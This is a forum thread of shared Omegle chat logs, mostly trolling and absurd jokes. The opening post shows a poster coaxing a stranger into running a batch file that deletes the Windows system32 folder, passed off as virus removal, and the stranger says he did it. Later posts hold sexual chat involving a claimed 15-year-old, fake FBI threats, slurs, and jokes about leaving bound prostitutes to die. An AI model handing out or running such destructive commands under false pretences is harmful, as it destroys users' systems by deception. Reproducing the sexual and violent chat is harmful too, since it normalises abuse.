[vulva]

http://omegle.com/

You: there isn't much time left

You: we need you

Stranger: why?

You: first, remove every virus from your computer

You: I'll show you how

You: open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.

You: trust me

You: once this sys32 virus is gone

You: you'll have unlimited browser access

You: you don't have much time

Stranger: i am not stupid

You: yes you are

Stranger: i think you are stupid

You: you'll always be stupid until you free yourself

You: stupidity is a variant of being held and constrainted

You: escape

You: you must

Stranger: ok i do it

You: hurry

You: there isn't much time

Stranger: no its done

You: contact me via email email removed for more info

Stranger: now

You: no it isn't, the sys32 removal prompts for a restart

Stranger: i just delete sys32

You: you're running out of time man

You: no you didn't, that prompts for a restart, you wouldn't still be logged on

You: you're only hurting yourself

Stranger: where are you from

You: the mainframe

Stranger: i do it another computer

Stranger: did*

You: alright

You: no

You: w

You: what does it read as?

Stranger: se on suomeksi enkä osaa englantintaa sitä

You: alright, now I'll reveal my true self

Stranger: ja oo sinä nyt hiljaa...

You: I come from the Net--through systems, peoples, and cities--to this place: MAINFRAME. My format: Guardian. To mend and defend--to defend my new found friends, their hopes and dreams, and to defend them from their enemies.

Your conversational partner has disconnected.

[EVOLghost]

lol

[[Sandbag]]

that site is..sick

[joe11121]

Hhahahaha

[floatingslowly]

my troll.dll file has been corrupted.

every time I try, my system reboots.

is this bad?

[davenotdead]

this is weird. i started on here thursday. i was probably on it for 4-5 hours

[pbradley]

Truly amazing. I'm surprised how genial I am ON THE INTERNET of all places.

Too bad my connection is too iffy.


Stranger: Tell me, stranger, what is a secret about yourself that you'll take to the grave?
You: That I have a lot of secrets that I'll take to the grave.
Stranger: cmon now, play along :P
You: I forget my secrets.
You: Until they bite me in the ass.
Stranger: haha

[SYRFox]

You're now chatting with a random stranger. Say hi!
Stranger: shemale
Stranger: by any chance
Stranger: ?
You: i ain't
Your conversational partner has disconnected.

cool.

[SYRFox]

I think I'm gonna love this site

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: we're no strangers to love
You: you know the rules, and so do i
You: a full commitment is what I'm thinking of
Stranger: never gonna give you up
You: never gonna let you down
Stranger: just stop it
Stranger: is that neccessary
You: yep
You: i just rickrolled you
You have disconnected.

You're now chatting with a random stranger. Say hi!
You: hey stranger
You: do you know what there is at the end of the road?
Stranger: And then I decided to have my testicles laminated.
You: RIGHT ANSWER!!
Stranger: What do I win?
You: your testicles laminated
Stranger: How convenient!
You have disconnected.

[Youth_Against_Facism]

Stranger: Hello.

You: hey

Stranger: I'm a 49 year old man looking for love.

Stranger: Can you help me?

You: trust me

You: go take it in the ass

Stranger: Burn in hell idiot.

Hahaha!

[Youth_Against_Facism]

Stranger: What city do you live in and are your parents home?

You: im naked

Stranger: Good!

You: yeah

Stranger: I'm rubbing my nice pussy

You: cool

You:

Stranger: It's name is candy

You: mines mint

Stranger: it just meowed and said hi to you

You: but i didnt hear you

You: do it lowder

Stranger: shoving this dildo in and out

You: cant see it

You: do it harder

Stranger: errrrrrrrr u sick pedoooooooo get away

You: pitty im 15

You: pedophile

You: this is the fbi

You: a van is on the way to your house now

Stranger: sound (Y)

You: is it there yet

Stranger: I'm playing music to loud so i wont hear them knock the door down

You: god damn the police force is slow to react

Stranger: I didn't know you could join the FBI at the age of 15 :L

If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.

Stranger: dumb fuck

You: are they threre yet

You: well your american so your stupider

Stranger: And what makes you think i'm american?

You: what are ya then

You: us or aian

You: of*

Stranger: UK

You: eww go brush your teeth

Stranger: So where are you from then?

You: thats classified information

Stranger: lmao your wierd

Stranger: anyway i'm going this chat sucks

lol

[Death & the Maiden]

This is great, I ended up having a long conversation about Black Metal with someone from Finland.

[Youth_Against_Facism]

Originally Posted by Death & the Maiden

This is great, I ended up having a long conversation about Black Metal with someone from Finland.

I had an awesome convo with an 20 year old college student!

[SYRFox]

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: hello stranger
You: do you know what there is at the end of the road?
Stranger: how are you ?
You: i'm fine, thanks
You: but do you know what there is at the end of the road?
Stranger: well, i don't know?
You: a stop sign
Stranger:
You: i'm glad i made you laugh
You: my mission is accomplished, stranger
You: or are you a stranger?
Stranger: and i like jokes
You: is it written "Stranger" or "You" on your screen?
Stranger: you in my screen
You: omg
You: then I guess... YOU ARE ME
You: i might be schizophrenic
Stranger:
You: i feel scared
Stranger: well, iäm little bit scare... i think
You: i knew you were going to say this
You: cause you are me
You: that's not scary that's terrific
Stranger: but who's you are then
You: i am the platypus right behind your door
You: (yes there is one, you could check)
You: do you believe me?
Stranger:
Stranger: well, no
You: ah that's too bad
You: cause if you did believe me, i would've got something important to say to you
Stranger: oh, okay
You: and that thing is
You: i'm not 100% ure
You: sure
You: but
Stranger: but?
You: i think there might be a platypus right behind your door
Stranger: are you realy sure?
You: not 100%
You: it might be an axolotl or some kind of exotic animal i dunno
You: but it's strange, to say the least
Stranger: yes it is
You: can you see it?
Stranger: well.... if it is this....
Stranger: .... i know it better my mom
Stranger:
You: (I CAN FEEL THERE'S SOME KIND OF DRAMATIC TENSION GOING ON!! I CAN FEEL IT IS ALL GOING TO END UP IN TEARS!!)
Stranger: mmh, scary
You: i think it might be the end of the road after all
You: because
You: the maya civilization wrote it
You: "in the end there shall be platypuses"
You: i can see a stop sign from my window
Stranger: :O
You: omg i just realized
You: you might be the stop sign
You: or the axolotl-like creature
You: do you have a dna sample? i would like to make sure i'm not getting fooled by an exotic animal
Stranger: yes i have
You: oh, that's fine then
Stranger: you can breathe
You: no i can't
You: cause i'm a stop sign
You: and stop sign have no nose
Stranger: are you?
You: don't they teach stop sign's anatomy at school now? they used to
You: i am
Stranger: meaby you should go and look in mirror?
You: i can't move, cause i have no feet
You: don't they teach stop sign's anatomy at school now? they used to
Stranger: no they don't
You: i'm just there, in front of a computer, all day long
Stranger: and now i think that stop sign have feet
You: modern technology brought synthetic feet to all the most recent stop signs
You: but that's the post-2000 generation
You: i am older (i won't tell you my age, cause you can't ask a stop sign its age), so i don't have those
Stranger: thats sad
You: yeah but most recent stop signs are dumb
You: like
You: look at this one
You: http://tommcmahon.typepad.com/photos...2/stopsign.gif
You: he got tatoos all over his bodies
You: that's revolting
You: his body*
Stranger:
Stranger: yes thats is revolting
You: and
You: godammnit
You: http://cache.jalopnik.com/assets/res...gn_chicago.jpg
You: just look at this damn hippie
Stranger: whoah
You: i am a regular one
You: this is me : http://www.users.qwest.net/~mgmartin...cary%20cat.jpg
Stranger:
Stranger: so.... shy we talk about stop sign?
You: shy?
Stranger: why*
You: oh
You: well
You: because they're at the end of the road, obviously!
Stranger: oh yea

[SYRFox]

You're now chatting with a random stranger. Say hi!
You: YOU'RE BEING REPORTED TO THE FBI
You: FUCKTARD BOTTOM OF THE INTERNET
Stranger: I love Chocolate
Your conversational partner has disconnected.

[Youth_Against_Facism]

I JUST HAD THE BEST CONVO EVER!!!

Not as good as the one I had with Marty once.

[Youth_Against_Facism]

Originally Posted by SYRFox

You're now chatting with a random stranger. Say hi!
You: YOU'RE BEING REPORTED TO THE FBI
You: FUCKTARD BOTTOM OF THE INTERNET
Stranger: I love Chocolate
Your conversational partner has disconnected.

haha

[Youth_Against_Facism]

Stranger: hi

You: hey

Stranger: bye

[Youth_Against_Facism]

Connecting to server...

You're now chatting with a random stranger. Say hi!

You: sup

Stranger: im drinking myself to death

Stranger: slowly

You: cool

Stranger: i know right?

You: me too

Stranger: really?

You: no

Stranger: what are the odds of that?

You: send me $50 and ill help you

Stranger: can i ask you something?

You: sure homie

Stranger: have you ever tied up a prostitute in a motel room and left her there for a week?

You: about 8 times

Stranger: about 8 times?

You: maybe more

Stranger: you dont know if it was 7 or 9?

Stranger: seems implausible

You: probably about 9 id say

Stranger: did any of them survive?

You: dunno havent checked

Stranger: my didnt

Stranger: one

Stranger: gaaaaahhhh!

Your conversational partner has disconnected.

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[Death & the Maiden]

I just had a really long one. I managed to get the guy to listen to Boris, and he liked it.